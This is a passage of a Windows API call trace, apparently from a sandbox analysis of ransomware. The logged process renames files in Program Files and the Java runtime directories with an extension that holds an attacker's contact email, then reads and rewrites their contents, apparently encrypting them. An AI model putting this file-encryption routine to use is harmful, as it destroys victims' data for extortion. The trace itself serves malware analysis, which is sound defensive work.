pbstr=0x4abff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0112.328] GetProcessHeap () returned 0x630000 [0112.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x40) returned 0x6fefa40 [0112.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.329] Sleep (dwMilliseconds=0x1) [0112.334] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", len=0x56 | out: pbstr=0x4abff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 1 [0112.334] GetProcessHeap () returned 0x630000 [0112.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6150, Size=0x2c) returned 0x6ed6070 [0112.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.334] Sleep (dwMilliseconds=0x1) [0112.351] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi", len=0x47 | out: pbstr=0x4abff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 1 [0112.352] GetProcessHeap () returned 0x630000 [0112.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9080, Size=0x1c) returned 0x6e8fe0 [0112.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.352] Sleep (dwMilliseconds=0x1) [0112.366] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml", len=0x3e | out: pbstr=0x4abff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 1 [0112.366] GetProcessHeap () returned 0x630000 [0112.366] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0178, Size=0x10) returned 0x6b1208 [0112.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.371] Sleep (dwMilliseconds=0x1) [0112.396] Sleep (dwMilliseconds=0x1) [0112.412] Sleep (dwMilliseconds=0x1) [0112.427] Sleep (dwMilliseconds=0x1) [0112.443] Sleep (dwMilliseconds=0x1) [0112.458] Sleep (dwMilliseconds=0x1) [0112.474] Sleep (dwMilliseconds=0x1) [0112.490] Sleep (dwMilliseconds=0x1) [0112.506] Sleep (dwMilliseconds=0x1) [0112.521] Sleep (dwMilliseconds=0x1) [0112.538] Sleep (dwMilliseconds=0x1) [0112.583] Sleep (dwMilliseconds=0x1) [0112.599] Sleep (dwMilliseconds=0x1) [0112.614] Sleep (dwMilliseconds=0x1) [0112.634] Sleep (dwMilliseconds=0x1) [0112.657] Sleep (dwMilliseconds=0x1) [0113.665] Sleep (dwMilliseconds=0x1) [0114.298] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml", len=0x3d | out: pbstr=0x4abff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 1 [0114.298] GetProcessHeap () returned 0x630000 [0114.299] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697b60, Size=0x64) returned 0x697230 [0114.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.299] Sleep (dwMilliseconds=0x1) [0114.882] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.448] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm", len=0x43 | out: pbstr=0x4abff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0115.449] GetProcessHeap () returned 0x630000 [0115.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0xc) returned 0x6b1418 [0115.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.497] Sleep (dwMilliseconds=0x1) [0115.522] Sleep (dwMilliseconds=0x1) [0115.534] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb", len=0x40 | out: pbstr=0x4abff7c*="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 1 [0115.534] GetProcessHeap () returned 0x630000 [0115.534] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0xc) returned 0x6b1418 [0115.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0115.578] CloseHandle (hObject=0x648) returned 1 [0115.578] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0115.581] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VSTOEE~1.FIR")) returned 0x6d5240 [0115.582] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0115.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0115.583] GetProcessHeap () returned 0x630000 [0115.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x58a1) returned 0x6fcb478 [0115.583] GetProcessHeap () returned 0x630000 [0115.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x58a1) returned 0x6fd0d28 [0115.584] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.584] ReadFile (in: hFile=0x648, lpBuffer=0x6fcb478, nNumberOfBytesToRead=0x5880, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcb478*, lpNumberOfBytesRead=0x4abff0c*=0x5880, lpOverlapped=0x0) returned 1 [0117.162] GetProcessHeap () returned 0x630000 [0117.162] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0117.162] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.162] WriteFile (in: hFile=0x648, lpBuffer=0x6fd0d28*, nNumberOfBytesToWrite=0x5880, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd0d28*, lpNumberOfBytesWritten=0x4abff0c*=0x5880, lpOverlapped=0x0) returned 1 [0117.162] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.162] WriteFile (in: hFile=0x648, lpBuffer=0x6fd65a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd65a7*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0117.162] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.162] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0117.162] CloseHandle (hObject=0x648) returned 1 [0117.164] GetProcessHeap () returned 0x630000 [0117.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd0d28 | out: hHeap=0x630000) returned 1 [0117.164] GetProcessHeap () returned 0x630000 [0117.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcb478 | out: hHeap=0x630000) returned 1 [0117.164] GetProcessHeap () returned 0x630000 [0117.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0117.164] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xbc7fc01, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x58bc, dwReserved0=0xb847496, dwReserved1=0x6fcb470, cFileName="vstoee90.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VSTOEE~1.FIR")) returned 0x6d5200 [0117.164] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.164] Sleep (dwMilliseconds=0x1) [0118.390] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data", len=0x34 | out: pbstr=0x4abff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 1 [0118.390] GetProcessHeap () returned 0x630000 [0118.390] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5500, Size=0x34) returned 0x6d4e00 [0118.390] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0118.391] CloseHandle (hObject=0x70c) returned 1 [0118.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x7408cab6, dwReserved1=0x0, cFileName="currency.data.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CURREN~1.FIR")) returned 0x6d5500 [0118.392] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0118.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0118.393] GetProcessHeap () returned 0x630000 [0118.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1021) returned 0x6f32128 [0118.393] GetProcessHeap () returned 0x630000 [0118.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1021) returned 0x731aea8 [0118.393] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.393] ReadFile (in: hFile=0x70c, lpBuffer=0x6f32128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32128*, lpNumberOfBytesRead=0x4abff0c*=0x1000, lpOverlapped=0x0) returned 1 [0118.410] GetProcessHeap () returned 0x630000 [0118.410] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0118.410] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.410] WriteFile (in: hFile=0x70c, lpBuffer=0x731aea8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x731aea8*, lpNumberOfBytesWritten=0x4abff0c*=0x1000, lpOverlapped=0x0) returned 1 [0118.410] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.410] WriteFile (in: hFile=0x70c, lpBuffer=0x731bea7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x731bea7*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.410] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.410] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.410] CloseHandle (hObject=0x70c) returned 1 [0118.412] GetProcessHeap () returned 0x630000 [0118.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731aea8 | out: hHeap=0x630000) returned 1 [0118.412] GetProcessHeap () returned 0x630000 [0118.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f32128 | out: hHeap=0x630000) returned 1 [0118.412] GetProcessHeap () returned 0x630000 [0118.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0118.412] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc86efbb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0xb847496, dwReserved1=0x6f32120, cFileName="currency.data.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CURREN~1.FIR")) returned 0x6d5240 [0118.412] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0118.412] Sleep (dwMilliseconds=0x1) [0118.435] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", len=0x31 | out: pbstr=0x4abff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 1 [0118.435] GetProcessHeap () returned 0x630000 [0118.435] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x690378, Size=0x74) returned 0x690478 [0118.436] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0118.437] CloseHandle (hObject=0x688) returned 1 [0118.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.438] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEPLOY~1.FIR")) returned 0x6d4ec0 [0118.438] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0118.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0118.439] GetProcessHeap () returned 0x630000 [0118.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72ba008 [0118.439] GetProcessHeap () returned 0x630000 [0118.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718938 [0118.440] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.440] ReadFile (in: hFile=0x688, lpBuffer=0x72ba008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ba008*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0125.050] GetProcessHeap () returned 0x630000 [0125.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0125.051] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.051] WriteFile (in: hFile=0x688, lpBuffer=0x718938*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x718938*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0125.052] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.052] WriteFile (in: hFile=0x688, lpBuffer=0x723d37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x723d37*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0125.055] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.055] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0125.055] CloseHandle (hObject=0x688) returned 1 [0128.339] GetProcessHeap () returned 0x630000 [0128.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718938 | out: hHeap=0x630000) returned 1 [0128.342] GetProcessHeap () returned 0x630000 [0128.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ba008 | out: hHeap=0x630000) returned 1 [0128.342] GetProcessHeap () returned 0x630000 [0128.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0129.271] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x124bdc48, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4ce802, dwReserved0=0xb847496, dwReserved1=0x72ba000, cFileName="deploy.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEPLOY~1.FIR")) returned 0x6d4f80 [0129.271] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0129.271] Sleep (dwMilliseconds=0x1) [0129.349] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", len=0x42 | out: pbstr=0x4abff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 1 [0129.349] GetProcessHeap () returned 0x630000 [0129.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x70) returned 0x66a3e0 [0129.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0129.350] CloseHandle (hObject=0x69c) returned 1 [0129.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 